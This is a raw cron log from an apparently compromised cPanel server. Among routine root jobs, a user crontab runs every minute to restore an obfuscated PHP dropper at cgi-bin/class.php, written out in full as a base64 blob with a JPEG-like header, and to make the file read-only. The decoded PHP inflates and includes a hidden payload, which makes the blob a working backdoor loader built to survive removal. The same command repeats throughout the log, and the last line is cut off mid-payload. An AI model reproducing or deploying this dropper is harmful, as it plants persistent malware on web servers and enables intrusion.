Apr  6 13:38:01 server CROND[1786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:39:01 server CROND[1941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:39:01 server CROND[1942]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 13:40:01 server CROND[2000]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 13:40:01 server CROND[2001]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 13:40:01 server CROND[2002]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 13:40:01 server CROND[2003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:41:01 server CROND[2114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:42:01 server CROND[2177]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 13:42:01 server CROND[2178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:43:01 server CROND[2249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:44:01 server CROND[2397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:45:01 server CROND[2461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:45:01 server CROND[2462]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 13:45:01 server CROND[2463]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 13:46:01 server CROND[2571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:47:01 server CROND[2629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:48:01 server CROND[2681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:49:01 server CROND[2854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:50:01 server CROND[2912]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 13:50:01 server CROND[2913]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 13:50:01 server CROND[2914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 13:50:01 server CROND[2915]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 13:50:01 server CROND[2919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:51:01 server CROND[3035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0l